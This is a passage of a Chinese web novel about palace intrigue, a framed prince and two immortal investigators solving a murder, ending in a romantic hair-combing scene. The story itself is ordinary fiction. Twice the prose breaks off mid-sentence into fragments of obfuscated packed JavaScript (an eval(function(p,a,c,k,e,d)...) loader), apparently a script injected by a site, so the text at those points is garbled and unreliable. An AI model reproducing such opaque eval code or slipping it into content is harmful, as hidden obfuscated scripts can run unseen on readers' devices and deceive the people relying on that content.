他笑了,摸摸幼弟的头,说了声乖。一旁吃了瘪的谢霖臭着张脸,叫他看了很是痛快。 再后来他们三个都慢慢长大,他彻底接过了属于他的权柄,执掌了朝中众多事务,成了人人称颂的贤明太子;谢霖被封了王,也参一点政,但更多的时候还是在读经书作文章,以及偶尔教导幼弟的功课。他有时虽还羡慕谢霖的清闲生活,却再也不会提要把太子之位让给他的话了。 父皇遭人暗害驾崩的那年,他二十五岁,夷狄进犯的消息传到江宁,宫妃们还来不及为皇帝哭泣落泪,便骤然惊恐失色,呼天抢地,朝中众臣亦人心惶惶。 事出突然,他还没做好当一个皇帝的心理准备,不知该如何去安慰他的臣民,只能眼睁睁看着他们哀声恸哭,想着千里之外山河破碎,夷狄铁骑踏落之处,积尸草腥,白骨露野,他忽然惊觉这把龙椅烫得骇人。 他对众臣道,我要去亲征。 自然引来无数劝阻,就连已成为太后的姬皇后也来过问。 他努力解释了很多。前线军心动摇,民心惶惶,还有谣言四起,说朝廷已经放弃了他们,他去往前线能极大地稳定军心。 可太后只是静静地听他说完缘由,然后问,你决定好了吗? 他点头,我意已决。 太后轻轻抚了抚他脸颊,既然如此,你便去吧,照顾好自己。 他心底突然有些酸涩,连带着鼻腔也充满了同样的情绪。 太后又道,还有一桩事,你为何还不登基? 他默了半晌,决定告诉太后,没了个太子总比没了个皇帝好。 率军离京那日,太后带着两个弟弟来城楼上送他,大乘一夕惊变,幼弟忽然之间成长了许多,收敛起往日飞扬率真的性子,乖巧懂事得令人有些心疼。 他只瞧了一眼便再不往城楼上看,掉转头下了令,马蹄扬起无边的尘土,大军声势浩荡地出发了。 万马嘶鸣呼啸声中,他隐隐听见幼弟在城楼上高声喊着他,要他平安归来。 他努力忍住了,没有回头,只是扬起手挥了挥。 夷狄显然是有备而来,为了今时这一举,少说筹划了十年之久,大乘虽国力强盛,奈何已然安逸了太久,被打了措手不及。 先帝初崩,朝局动荡,他提出亲征是为安抚民心,鼓舞士气,然而居心叵测的乱臣贼子纷纷浮出水面,凉州一战中军机泄露,被夷狄包抄夹攻,大军左支右绌,死伤惨重,一时间兵败如山倒,他带着亲卫力战至最后,终无处退走,被生擒。 或许是想拿他做筹码向大乘索取更多好处,夷狄部落并未苛待他,给了他尚可入口的饭菜与勉强安歇的处所,却也仅止于此。为了防止他自戕,夷狄将他看得很严,他其实有些想笑,毕竟自己从未想过要效仿古人殉节。他们有时还会逼迫他向帝京写求救信,越能煽动情绪挑起争端的越好,于是,如何在信中隐晦地透露自己如今很好、勿多挂念成了他每日最绞尽脑汁的事。 夷狄一直在试图劝他叛出大乘,倒向他们,许诺来日征服了大乘的土地,将会给他提供无可比拟的地位与荣华富贵,为此他们隔三差五派人来他面前宣读目前战况,近日又拿下几座城池云云,每每这时他便全当自己是个聋子,只是其中也会有些他想获知的大乘近况,譬如太后主政,扶持了谢霖即位。 夷人想借此挑唆他,向他传达出大乘已经放弃他这个前太子的意思,他不为所动,淡淡反问,大乘都放弃我了,你们为何还不放弃我?夷人劝说不成,愤而离去。 不知从何时起,前来耀武扬威宣读战况的次数日渐少了下去,终于再不曾出现了。与此同时,他从周遭看管之人的闲碎耳语中得知,大乘出了一位少年将军,是如今大乘皇帝的亲弟,封号广陵王。 广陵王天生将才,年仅十六岁便领军作战,用兵神鬼莫测,谋略惊世绝艳,自其接手兵权之后,夷狄节节败退,溃不成军,大乘陆续收复了众多陷落的城池。 见收回大批失地的大乘军队并无罢手之意,夷狄首领有些慌了,向大乘帝京江宁派出使节,想要议和,而他便是其筹码。 使节与大乘皇帝道,陛下兄长如今尚在北营之内。 皇帝道,贵首领是想以皇兄之性命相挟,勒令大乘退兵? 使节道,恰恰相反,如若陛下同意议和之事,我等可以保证,陛下兄长绝不会有回朝之日;而若陛下执意强攻,救回这位前太子的话,恐怕…… 当然这些事都是他后来才知晓的,彼时的他尚被监禁在夷狄之地,仅从看守、送饭之人的态度和只言片语中得知,前后交战五年之久的两方近来似乎有了谈和之意,然而却不曾有半句提到过他,他像是被双方都遗忘了。 他每天数着窗外飞过的孤鸿、白桦的落叶与号角的鸣声,却只觉白昼一日比一日拖得绵长,于是他隐隐明白,他大抵是回不去了,余生只能日复一日眺望南飞的雁。 - 传令前来的将士低埋着头,双手托举着宫里传来的谕旨,在面前颇有压力的目光逼视下微微有些发抖。 “你再来一遍,他是怎么说的?” “殿下……陛下同意了谈和,传令要殿下……收兵回朝。” 广陵王轻轻嗤笑了一声,看了看后头乌压压的大军,掀着嘴角道:“说得轻松。” 他飞身上马,下令鸣了战鼓。 “殿下……殿下,这是谕旨……” 他接过谕旨的布帛,直接当中扯开撕成了两半,向后一扔,顷刻吹散在北地猎猎寒风之中。 他轻飘飘说了句:“将士在外,军令有所不受。”随即高举重剑,号令出战。 “殿下!”传令将士失声叫道。 “我的父皇,我大乘丧生在夷狄铁骑下的数万子民,血海深仇尚未得报;我的皇兄,此前数年交战被俘虏的兵士弟兄们,尚还满怀希冀还等着我去救;西北的凉州、雍州、陇州、雄州四城还在夷狄脚下泣血,你让城里的百姓如何自处?” “我不能停下来,我若在此回头,那些人就真的彻底被抛弃了。” - 直到门外的锁链被斩断,那个浑身冷硬傲骨的少年,带着血气腥风闯入了他被幽禁之地,谢霁仍有些恍惚,然而他瞧见少年的脸庞,只一眼,目眶便热了又热,险些当着幼弟的面淌下泪来。 他想说你长大了,这些年受苦了;他还想说,对不起,哥哥没能守信归来。 但他最终什么也没说,一如率军出征那日一般地沉默无言,这一耽搁便是五年生死。 失地尚未全数收复,广陵王还需留在北地,便遣人送他回了江宁。 到达江宁那日,皇帝摆着仪仗在城门口迎接,唤他皇兄,向他嘘寒问暖。 对面龙袍加身,贵气逼人,而他灰头土脸,一路风尘。 他垂下眼睑,觉得有些聒噪,途中他已然得知了如今朝内不少事,也证实了此前被幽禁在北地时的猜测。 皇帝断断续续说了很多,却一句也没提皇位相关与试图议和之事,他便闷闷地应着,也没什么可说的,毕竟是他自己让出的位子,事到如今,也不能怪别人不肯归还。他只是有些怀念,怀念当初那个与他相互推诿着储君之位的孩子。 他去见了太后,太后声音依旧轻柔和缓,只是眼角多了几道细纹。太后问他可有怨她,他摇摇头,太后做的很对,他当年临走前不正是如此说的嘛,谈何怨怼。 当初他离京前曾有一个正妃,在他被生擒的消息传来后,一时心神震荡,晕厥过去,尔后不久便郁郁而终了,他如今可算得上真正的孤家寡人,孑然一身。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他顾不得礼节仪态,直直拉住卫兵恳求,甚至扒住城门不让关闭,终于有人通禀了皇帝,大约是觉得将兄长关在城外有失颜面,皇帝放他进来了,让他在皇城一个行宫里落脚。 他要求见太后,广陵毕竟是太后亲子,她不可能任由皇帝构陷加害广陵的。 由于皇帝身体欠佳,太后如今主持妖蛊案的审理,异常忙碌,他求见几次都碰了壁,好容易见着了一回,他连忙跪下向太后哀求,说广陵绝不是那样的人,他定是被诬陷的,母后您从小看着他长大,他性情直率藏不住事,您最清楚了不是吗?这样一个人怎么可能用妖蛊谋害自己嫡亲的兄长啊! 太后神色冷淡地看着他磕头,等他絮絮叨叨说完一堆,淡淡道,说完了?无事就请回吧。 他猛地抬头,眼里满是不可置信,太后端坐在那里,从容不迫地半阖着眼眸,他一时觉得这张从小看了二十多年的温柔脸孔如今满是陌生。 广陵他,他可是您亲儿子啊,母后怎么忍心……他颤着声,喉咙有些发哽。 太后的语气仍旧波澜不惊。牵涉妖蛊,侮辱仙道,他便与我大乘皇族再无瓜葛,哀家自会将他从族谱除名。 他听着这冷漠的声音,只觉得通体生寒,他想着过往种种,如何也不明白,当初那个会微笑牵着他与谢霖的手、温声劝他们和好的母后,为何会成了如今高高在上的冰冷模样。 他忽然失魂落魄,悲从中来,轻声低喃,仿似自言自语。广陵是被谁陷害的,母后……果真不知吗? 太后没有再回应,随即有两个宫女上前,将他从地上拖了起来,半请半拉地拽出了门外,门关上的一瞬,他听见身后许久未再出言的太后,忽然轻轻道了一句,母后知道。 他发疯似的转身回去,癫狂地猛拍着殿门,怒号悲泣,声泪俱下,直至力竭瘫倒,被人搀回行宫。 太后知道,她什么都明白,然而她选择袒护长子,抛弃广陵。 他忽然想笑,继而仰天长笑,笑着笑着就掩了面。 不愿抛弃任何一个人的广陵,最终却被自己仰慕敬爱的母亲兄长,被自己抛洒热血的王朝抛弃了。 不日,旨意便下来了,责令淮安王即日启程返回封地淮南,并派遣禁卫护送,连临走之前想见上广陵一面的请求,也被以“天牢重地,殿下贵体,不宜入内”为由驳斥,他日夜兼程火急火燎地来,最后徒劳无功万念俱灰地走。 离开江宁城那日,天灰蒙蒙的,下起了一场灰沉沉的雨,从城外山坡上远远望去,皇宫里最高的凌烟阁浸没在灰茫茫的云雾之中,宛如一位折戟沉沙的将士。 他想了很多事,想着数年之前城楼上稚声呼喊,城楼下沉默的一扬手,想着北地寒风舔舐之下未能出口的字句,想着上一回离开这座城时心中念着句“来日方长”。 他再也没来过江宁。 51. 第 51 章 淮安王的故事说完了,却仍垂着眼,似乎还陷在某种情绪之中。 叶南扶此时已换了个坐姿,腿弯搁在太师椅的扶手上,晃荡着小腿,道:“如此说来,你其实并不清楚妖蛊案的个中细节,亦无凭证,只是自己推测,觉得是陛下捏造证据,构陷广陵王,将其迫害至死。” 淮安王闻言,顿时有些情绪激动:“这还要什么凭证,太后会隐瞒偏袒的人,除了那谢霖,还能有谁?” “话是这么说。”叶南扶并不打算在此问题上纠缠,转而问起另一件事,“你今日为何在祭天仪式上高呼出声?” “我在淮南的这些年,日日向白仙求祷,而今太后丧期怪象频出,我心中暗暗觉得是他们诬陷忠良,残害血亲,白仙降下的天谴。” 叶南扶颇有些想笑,忍不住道:“白仙还管这事儿呢?” 淮安王微微低下头:“自然是走投无路,才只得求诸仙人。道长方才有句话说的对,如今除了仙家也没人敢管此事了。” 叶南扶默了默,良久忽然道:“今日祭台上之事,殿下可有什么头绪?” “道长是说那群乌鸟?我能想到的道长恐怕也知道,就是七七那晚灵堂里也飞进来一只……”淮南王讲了七七的事,又说了不少推测,看起来是努力想要提供线索。 叶南扶笑了笑,静静待他说完,道:“妖蛊一事我会去查,虽不能确保替广陵王平反,但必定给殿下一个真相,所以,殿下往后可切莫如今日一般莽撞了。” 他站了起来,轻声道:“广陵王想必也不愿见到,殿下为了他这般模样。” - 殷烬翎又揉烂了一张宣纸,这是今天葬身于她手下的第七张了,地上已经七零八落地躺了好几个宣纸尸体,其上的内容已经从一开始的案情梳理到后来的“烦烦烦烦烦”“啊啊啊啊啊”了。 她将揉成一团的纸往后一抛,却没听见纸团落地的轻响,回头一看,叶南扶站在门口,手下正慢慢地将纸团展开。 只见上书一行大字“老哥是狗吧!!”,底下还有一行小字“偷偷溜出去搞事也不带上我可把你能耐坏了,你不如出去自立门户吧,也别老赖在我这里啃老了,没你这个逆子”。 殷烬翎看着他视线从纸上慢慢抬起来,最后停在她身上,她顿时寒毛倒竖,宛如一只被蛇盯上的麻雀,只觉得自己头上浮现出一个血红的“危”字。 他冷笑一声,抬手将纸撕成两半。 殷烬翎觉得自己头上的“危”已经变成了“死”。 “发现有人背地里写我坏话该怎么办?” 殷烬翎脱口而出:“当然是选择原谅她。” 叶南扶几步走到她边上,径直将她刚刚坐的椅子霸占了,一言不发。 殷烬翎心惊胆战地立在一旁,觉得以叶南扶的小心眼,现在大概在思考麻雀要怎么做比较好吃。 这就是传说中暴风雨前的宁静嘛……那啥,现在认错还来得及嘛?对不起,我有罪,你就是回骂我两句也好啊!老哥求求你说句话啊,你不出声我瘆得慌。 叶南扶微微皱了几下眉,她便觉得浑身羽毛抖了抖; 叶南扶往椅背上一靠,她便觉得嗓子眼紧了又紧; 叶南扶将腿往桌案上一搁,她便觉得心口跟着桌上的毫笔上下颤了三颤。 “那个,麻雀……” “红烧吧。” “……” 相互瞪视片刻,叶南扶忽然笑了出来,笑得殷烬翎不明所以,毛骨悚然。 叶南扶足足笑了好一会,才道:“你都在想些什么啊?” “老哥……不生我气了?”殷烬翎异常迷茫。 “不是你说让我原谅你的吗?” 不是,话是这样没错,但是我说原谅我然后你就真的原谅了嘛?不对,这么说显得我好像格外渴望被骂似的,反正以老哥的性子,我做的这事儿显然不是能随便原谅的……好像也不对,这说的像是我做了什么罪大恶极人神共愤的事一样……总而言之,这其中必有蹊跷! “我让你原谅……然后你就原谅了?”殷烬翎小心翼翼道。 “嗯,对啊。”叶南扶说得颇为随意。 殷烬翎觉得叶南扶现在不对劲,非常不对劲,甚至怀疑他是不是出去调查时被人敲了一闷棍,醒来之后身体就变小……不对,醒来之后就性情大变,按以往他那睚眦必报,嘴下不饶人的人设,捉到了背后说坏话的,少说也得把她吊到城门上曝晒三天然后问她肯不肯认错吧? “我去了淮安王那里。”叶南扶将淮安王说的大致转述了一遍。 殷烬翎听完沉吟了片刻,道:“你有没有怀疑过,可能是淮安王做的这些怪象,好让人觉得当初错害贤良才会招来天谴,进而引人关注妖蛊案,以达到替广陵王昭雪冤情的目的。” 叶南扶点头:“自然是怀疑过的,所以我试探了他一句‘今日祭台上之事可有头绪’,却并未点名是祭台上的何事。当时你看过鼎内下来,同你那两位师兄才说了一两句话,下边淮安王便闹起来被拖走软禁了,以他在宫里的处境,后面也没人会特意去与他多说什么。所以他若不是凶手,是不会知道有人死在鼎中的,就算他侥幸知道,大抵也仅是宫人的只言片语,为此我还准备了一串的问题试探。” “如何?” “准备的一个也没用上,他确实不知道死了人,说起祭台上之事,只以为是那群乌鸟,同我聊了一堆七七那日乌鸟的事。” “所以……你觉得淮安王之言可以相信?” “没错,就目前而言,我没有找到他话里的漏洞。” 殷烬翎点点头,随即感叹道:“未曾想,这几人还有如此的过往……” “昔日之因,今日之果,洞察前事,方能推知后事。”她看向叶南扶,“老哥,我如今确信了,当年的妖蛊案确实是此案中的关键。” 叶南扶慵懒地靠在椅背上,闻言似是相当受用,眯着眼道:“毕竟虚长了你这许多岁数。” 换作往日殷烬翎定是要吐槽两句“你这确实是虚长,大把时日都贡献给了画本与床榻”,然而今日叶南扶很不寻常,她怕他是在酝酿大招,故而没敢轻率出口。 叶南扶瞥了眼桌上,放着两张写得满满当当的案情梳理,便伸手取了来,一边摇着椅子一边看,随口道:“你方才一直在做这个?” “嗯。” ——还有写你的坏话。当然她没说,她活得一向很谨慎。 叶南扶指着最后的“疑点”道:“你这似乎还没写完。” 她点头。 ——当然了,因为被案子搞得烦了,写你的坏话去了。 “写坏话愉快吗?” “那是愉快的。” 殷烬翎:“……” 没有,不是的,老哥你听我狡辩,其实我是被迫的,你看看我,这么善良纯真的一只小麻雀,像是会写出这些怨气深重之辞的样子嘛? “行了。”叶南扶将看完的纸张往桌案上一拍,“说说你接下来要写的吧。” 殷烬翎轻咳了一声:“疑点其实挺多的,而且其中多数都尚未解决,我方才一时有些整理不清。” ——所以才会去写你的坏话。 她稍微打了下腹稿,慢慢道:“首先是皇帝陛下,召见众仙家之时曾说过一句‘宫内祸患未除’,按此前所言,请来仙家是为替太后安魂超度,称自己母亲亡魂为祸患令我觉得不太寻常,不像是单纯的措辞不当,更像是他知道些什么,甚至可能明白近来怪象之祸根,想借此隐晦地暗示仙家,希望仙家在度化魂灵之余着手祛除这作乱的妖邪,其佐证就是,仙愿榜上通知仙家务必要在九月初三之前就赶到,然而百日却在十月二十,中间有长长一月余,虽说百日祭天需准备不少东西,但实际上仙家并无多少要事,我猜想这其实是皇帝留给仙家四处探查、除灭邪祟的时间。” “不过,遗憾的是,似乎并没有仙家领会到这一点,而皇帝也有所顾虑不好明说。” 她说着,不由想到了之前他们自发请命组织了各种义务劳动,皇帝多次企图劝阻均被当作了客套之辞,想必彼时他的脸色一定相当精彩,不禁笑出了声。 叶南扶投来不明就里的目光,殷烬翎连忙敛了笑,接着说下去。 “其二是太子,太子身上可说的太多了,太子妃失踪的真相为何,与太后是否有关联,太子究竟是否知晓其中内情,如何会疑心太后进而搜到那幅诡异的画,画是不是他拿走的,东宫门上的试灵石从何而来,为何单独召见老哥,为何如此焦急想要求助仙家,以及丧期内怪事到底是否是他所为。” “接下来是襄王妃,半夜潜入凌烟阁调查妖蛊案,并且在翻了御画坊的名单后似乎颇为不忿,因为与之接触很少,前者如今我没什么头绪,只能暂且记下,至于后者倒是有些想法,只是尚不知我与她注意到的是否为同一个名字。” “最后是太后,她特意在玉枕底下开了个大小相仿的空间,私藏那幅画应当是确凿无疑的,可她为何要藏着,出于对广陵王的思念与愧疚嘛?再来是太后房里发现了灯烛铺的地契,却仅有这一处产业,显得很不寻常。以及墙上挂的画作很久之前被太后取下来一幅,可始终未有挂上新的,这也……” 说着她蓦地停了下来,猛然睁大了眼。 叶南扶疑惑地看了过来:“怎么了?” 她闭着眼深深地吸了一口气,平复下因激动而胡乱跳动的心,随后迎向叶南扶的目光,惊喜道:“我想起来了,那个名字。” “御画坊的名册上,有个令我分外熟悉的名字,我如今终于想起来是在何处见过了。” “在太后房里挂着的那些画作,其中一幅的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“等等,这个隐藏设定太有冲击性了,让我缓缓。”殷烬翎抬手扶额,“不是,事到如今这么生硬地来揭露这种隐藏设定真的好嘛?而且你看上去哪有半点文人墨客的风骨气度,瞅瞅现在这只会吃零嘴看画本窝在床上虚度时光的模样,拿起根笔能要了你的命。” “没错,这就叫做伤仲永。” 殷烬翎:??? “所以,襄王妃既然是去查妖蛊案的,看见了此名后联想到这些事,卒然生出怒意也是情理之中了。”叶南扶并不理会她的异样神色,接着道,“但是此事的前提是,她知道妖蛊案的诸多细节,注意过太后房中的几幅画的署名,且像淮安王一般坚信广陵王的清白。” “三者,缺一不可。” “然而,同时满足这三点的襄王妃,究竟是何许人呢?” “对了。”殷烬翎突然一拍掌,道,“我们初遇襄王妃的那日,她正与襄王一同往慈宁宫去,也许就是那时候仔细看了太后房里的画,如此说来,怕是那时她就对太后起了疑心。” 她走到案前执起了笔,边写边道:“如今有三个人都疑心妖蛊案中太后包藏祸心,一者淮安王,他是因听太后亲口承认‘知道谁诬陷的广陵王’,并未采取行动;二者太子,缘由不明,起疑后去慈宁宫搜出了私藏的画,并找来仙家私下调查;三者襄王妃,缘由亦不明,生疑后前往慈宁宫查看了墙上挂画,并夜探凌烟阁。” “那么,你想从何处入手?”叶南扶慢慢地摇着椅子问。 殷烬翎摸摸下巴思索着,缓缓道:“或许我们现在可以从那个画师入手。” “那位画师,叫什么名字?” “陈彦藩。” “陈彦藩?”外头突然传来一个清朗男声,似乎颇为惊讶地重复了一遍这个名字,“你们已经知道了吗?” 殷烬翎回身看着来到门口的封荀和秦子铮,顾不上还在跟封荀怄气,连忙问道:“知道什么?” 封荀愣了愣,疑惑道:“听你们方才在谈论,我还以为你早得了消息,既然还不知道,为何提起此人?” 殷烬翎听他言语,心中隐隐有了不好的预感,愈发焦急起来:“这事一会再跟你解释,疯狗你倒是快说啊!别磨磨唧唧绕半天就是讲不到重点!” 封荀被她弄得不由生出几分怒气来,祭出身为二百三十三岁幼童的大杀器:“你叫我讲我就讲,那我岂不是很没面子!” 殷烬翎一口气已经提到了嗓子眼里,被这么一堵,简直要岔了气去。 还好秦子铮及时出手制止了封荀的大龄幼童行为,堪堪为他们仙留双骄保留下最后一点尊严。 秦子铮正色道:“就在方才,鼎中尸首的身份查出来了。” “是南三街一间灯烛铺的老板,名叫陈彦藩。” 52. 第 52 章 “等等,等等……这信息量过于庞大,让我冷静捋一捋。”殷烬翎顿时一手捂住了额头,另一手做了个停的手势。 连一直在摇着椅子乐陶陶的叶南扶都停下了动作,锐利的目光直直看向这处。 好一阵沉寂之后,殷烬翎才开口不确定地问:“是我知道的那间灯烛铺嘛?” 封荀点点头:“就是先前我去查过的,那个关了门面、畏罪潜逃的灯烛铺老板。” 她“嘶”了一声,赶忙又收回手捂头去了。 “也就是说,妖蛊案中御画坊的鉴定画师,天佑七年辞去御画坊的职务,外出在南三街开了一间灯烛铺,然后在七七祭奠仪式的白烛中动了手脚令其炸焰,本应在七七之前就潜逃出城,而百日那天却众目睽睽下死在了祭台上的青铜巨鼎里?”殷烬翎用力一把抓花了本就有些乱了的发髻,“这经历未免过于丰富了吧?” 鉴于封荀与秦子铮并不知悉妖蛊案相关事宜,殷烬翎便将方才两人的谈话内容挑重点稍微说了说,然后封荀也龇牙咧嘴地捂起了额头。 “太复杂了,这是什么盘根错节错综复杂的谜案。”封荀哀号起来,“相比之下,我宁可去读一百本晦涩的仙门典籍。” 眼见着封荀就被殷烬翎带着降了智,一同晃起了脑袋,活像两只被御厨捉住了后颈胡乱蹬着腿的兔子。 叶南扶冷冷地瞅了一会,皱紧了眉,陡然起身一把逮住了殷烬翎的后襟。 “这是你们的师门特色吗?”叶南扶掀着嘴角冷笑。 她讪讪地放下了手,像只被命运扼住后颈的麻雀一般老实了。 叶南扶忍不住多瞥了几眼她头上,经她这一揉,碎发散得东一片西一片,发髻已经垮得看不出本来形状了,簪子歪歪斜斜地挂在其上,似乎随时都可能掉下来。 见后头的人没了动静,殷烬翎稍稍转了转脖子,侧过头小声道:“喂,我不搞抽象了,可以……放开我了嘛?” 散在脖子上的碎发随之轻轻扫过他的手背,他几不可见地微微躲了躲,但依旧没松手,眼神愈发不善地看着她零乱的头发。 没等来叶南扶的回应,就在殷烬翎心下忐忑不安,正欲再说些什么之时,忽然只觉发间一松,摇摇欲坠的簪子被抽了去,满头青丝尽数垂落下来,紧接着被拽着的后襟也松了开来,她连忙回头看去,只见叶南扶已经歪歪斜斜地坐回了原位,手中把玩着刚刚从她发间摘下的绯红鸢尾簪子。 她忙伸手去够,谁知叶南扶一把举了开去,像是在逗弄鸟儿。 奈何伸长了也够不着,她只好无能狂怒。 “还我!”她压低声音凶狠道,“这东西可贵了。” 叶南扶趁隙将簪子收进了袖子里,冲她扬着下巴道:“看你表现。” 殷烬翎来不及制止,眼睁睁见他收了进去,不由分外窝火,然而往封荀那边瞅了眼,便沉下气来,毕竟还有两位师兄在,不好闹得太过分,只能狠狠瞪了叶南扶一眼。 叶南扶被瞪了也置若未觉,一副刀枪不入城墙般的脸皮。 那边秦子铮刚刚把遭受了降智打击、行为逐渐殷烬翎化的封荀智力拉回到正常水平,两人一转头便见殷烬翎头发都散了。 封荀登时露出一脸难以言喻的表情,不确定地叫了声:“殷梨?” “干嘛?” “我说,师兄们还在这儿呢!你们俩就这么迫不及待了是吗?给我注意点影响啊!” “啊?” 她下意识偏头看了眼自己凌乱的发梢,瞬间就明白了过来。 殷烬翎觉得这个封荀这段时日怕是画本没少看,多少有点脑补过头了,前些日子还把叶南扶称作她的姘头来着,估计一直在用肮脏的心思揣测两人纯洁的关系。 她冷哼一声,不屑于跟个疯狗一般见识。 “对了,我们来此还有一桩事要告知。”秦子铮看不下去,出来将偏到万里之外的话题拉回正轨,“陛下方才召了我二人过去,将百日一案的调查处理,以及仙家一方的人手调配全权交由了我们。” 殷烬翎闻言一蹙眉,疑惑道:“此前不都测了相位,证实并非妖物作乱,这种命案不是该交与刑部或大理寺嘛,为何让仙家来负责?” “不止你感到奇怪,我们也正困惑不已呢。”封荀感叹道,“虽然这话由我来说不太合适,但这皇帝陛下未免有些过于迷信鬼神之说了。” “师妹接下来打算如何?”秦子铮问。 殷烬翎拿手指缠着头发随意玩着,沉吟了片刻,道:“虽然陈彦藩这条线断了,但同时也为我们增添了许多线索。原先我想的是,去摸一摸三七五七两件异事……不过,能否拜托两位师兄帮个忙?” “此案本就是分内之事,谈何帮忙一说。”秦子铮道,“师妹只管说便是。” “想请师兄调查一下襄王妃的往年经历。”她想了想,又添了句,“事无巨细。” 秦子铮二话不说便应道:“好。” 封荀却有点意见:“我们两个大男人,去打听人家年轻女子的往事,怕有些不妥吧?况且查这种事我们也不擅长,你一女子前去不是正好,三七五七的现场我们也能搞定,不若同你们换一换?” 不不,疯狗,别太妄自菲薄了, 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以往一向高高挽起或梳成髻的乌发此刻没了支撑,散落的青丝一直齐平到腰际,些许墨发随着她微微前倾的动作自肩头滑落,宛如乌黑的流云飞瀑倾泻而下,其中一缕发梢在他身前微微来回晃动,仿佛一下一下扫在他心尖上。 鬼使神差的,他伸手握住了那一缕发丝。 殷烬翎一惊,下意识往后躲,发丝却早一步被他握在了手里,这一后退便是一扯。 “痛……”她不由出声。 叶南扶被这一声惊醒,恍然回神,连忙松开了手,撇开头不敢看她,潮红瞬间一路从耳尖蔓延到脖颈。 殷烬翎揉了揉被牵扯痛的那块头皮,一抬眼便见面前人快熟透了的耳朵,不免想起此人方才的举动,心跳陡然快了几拍,只觉得嗓子堵得慌,嘴空张了两下,什么话也没能说出来。 “刚才……”叶南扶嗫嚅着开口。 殷烬翎心猛烈地狂跳起来,脑中慌慌张张地乱成一团。 他……他要说什么,解释刚才的行为嘛?他……他会怎么说?我,我要怎么回应才好?他要是说有虫子停在发丝上,我该说什么,说好的谢谢你帮我捉掉嘛?那……他要是说别的,甚至…… “那个,簪子是……头发很乱。”叶南扶梗着脖子接着道,说出来的语句颠三倒四,逻辑混乱,是标准的心神不宁时的叶南扶式句子。 殷烬翎大概懂了,他说的是先前拔了她簪子是因为发髻很乱,她在心里暗暗舒了一口气,还好他没提刚才的事,不然真不知道该怎么回答。 说话间,他已从袖中取出了那枚鸢尾簪子,却依旧不敢朝她看来,且耳朵越发鲜艳欲滴起来,慢吞吞地道:“我来……行吗?” 殷烬翎那口气舒到一半,噎住了。 53. 第 53 章 叶南扶说完,似乎觉得不妥,连忙又语速飞快地补上了一句:“你梳得太容易散了,稍微动两下就很多碎发,我看着很不舒服。” 他怎么突然之间说话又通顺回来了? 不过殷烬翎此时也顾不上吐槽了,她觉得自己大约是看久了被传染了,不然为什么自己脸颊和耳朵也忽然间热了起来。 但这还不是最可怕的,最可怕的是,她明明光是想象一下叶南扶给自己梳发髻的场面,便会觉得尴尬欲死,可心底却生不出拒绝的念头。 叶南扶依然撇着视线,脸上和脖子间连成了绯红一片,似漫天的红云霞光,似遍野的春日桃林,似他手中簪子上的鸢尾,令人下意识屏住了呼吸,不忍其破碎零落。 她僵硬地点了点头,一边心里却在嚎叫,快住手,你不要命了嘛?尴尬症发作起来可不是开玩笑的!要是当场嘎嘣一下死这儿了怎么办? 他从椅子上起身,默默地立在了椅子背后,虽并未看向她,但意思不言而喻。 她缓缓吸了口气,鼓起勇气走了过去,然而刚一挨到椅子便哆嗦了一下,她听见背后传来一声短促的气音,像是控制不住溢出唇间的一声闷笑,她默念着佶屈聱牙的经文强迫自己不去在意,战战兢兢坐了上去。 然后,久久不见动静,令她如坐针毡,就在她忍不住想转过头去看看情况之时,一只手从后头撩起她的发,慢慢地,慢慢地,顺着一路抹到了发尾。 她只觉耳畔声音顷刻褪了个干干净净,只余下失了节律的心跳,化作了铺天盖地的闷响,有如急促落下的杂乱鼓点。 另一边不知何时多了个梳子,穿入执起的一缕发中,动作细致轻柔,像在呵护什么贵重珍品一般,缓缓地移着梳到了底。 接着再一下,第三下,第四下…… 也不知从何时起,原本充斥着满心的尴尬之感奇异地渐渐消退,终于再也寻不到踪迹了,她僵硬的身子也慢慢放松了下来,除了心口还在如前般剧烈跃动,毫无平息的迹象。 全部梳毕之后,梳子被暂时搁置在了一边,两手拢起铺开成片的青丝,慢慢挽起,如同篆刻玉石那般,仔细地一点一点雕琢成一个精致的发髻,尔后一声珠玉碰撞的清脆响动,是那支鸢尾簪子上的两枚珠子发出的,紧接着簪子被轻轻送入了梳好的发髻间,再稍事调整一番形状,便可算完工了。 但这人完成了也不说一句,只不言不语地静静瞧着,她见许久都未再有下一步动作,大抵是梳好了,不过面前并未摆着铜镜,瞧不见梳成了什么模样,而她此时虽比起初放松了些许,却也没有放松到可以明目张胆地从袖子里掏出铜镜来照的地步,故而只是左右轻轻晃了晃,觉着是比自己以往瞎折腾的要牢固许多,不由心下感叹着老哥这梳发髻的手艺居然意外地不错。 “年少时母亲教的,从前常常会给她梳。” 殷烬翎闻言一愣,这才意识到自己方才不慎将心中感叹的说出声了,不禁有些许赧然,不过也要多亏如此,才得以开启正常的交谈,不然两人不知还要相对无言地沉寂上多久。 “你上回说,那个玉簪也是你母亲做给你的吧。” 叶南扶微不可闻地应了一声“嗯”,若不是殷烬翎离得近,只怕根本听不见。 “她是……怎样的人呢?” 叶南扶沉默了,过了许久才再度开口,低沉的声音里带了些晦涩的情绪,尾音中透着点沙哑。 他道:“一个滥好人。” 殷烬翎听出他语气有异,觉得这当中可能有些故事。 “你想同我讲讲嘛?你母亲的事。”她小心地问。 叶南扶默了默,突然道:“我记得,我还欠你一个故事。” “啊,你若是因为那个才打算说的话,还是不要勉强了。”殷烬翎连忙道,“我也没那么急着要你兑现的。” 叶南扶忽然笑了起来,低低的气音拂在她耳尖,令她有些发痒,忍不住缩了缩脖子。 “不用那个换,我是自己想说的,况且那时我所想的也并非此事。” 说着他便去外头寻了个椅子,打算搬到她边上来,殷烬翎则趁这个空当,从袖里乾坤中取了面铜镜出来,照照自己当下的模样。 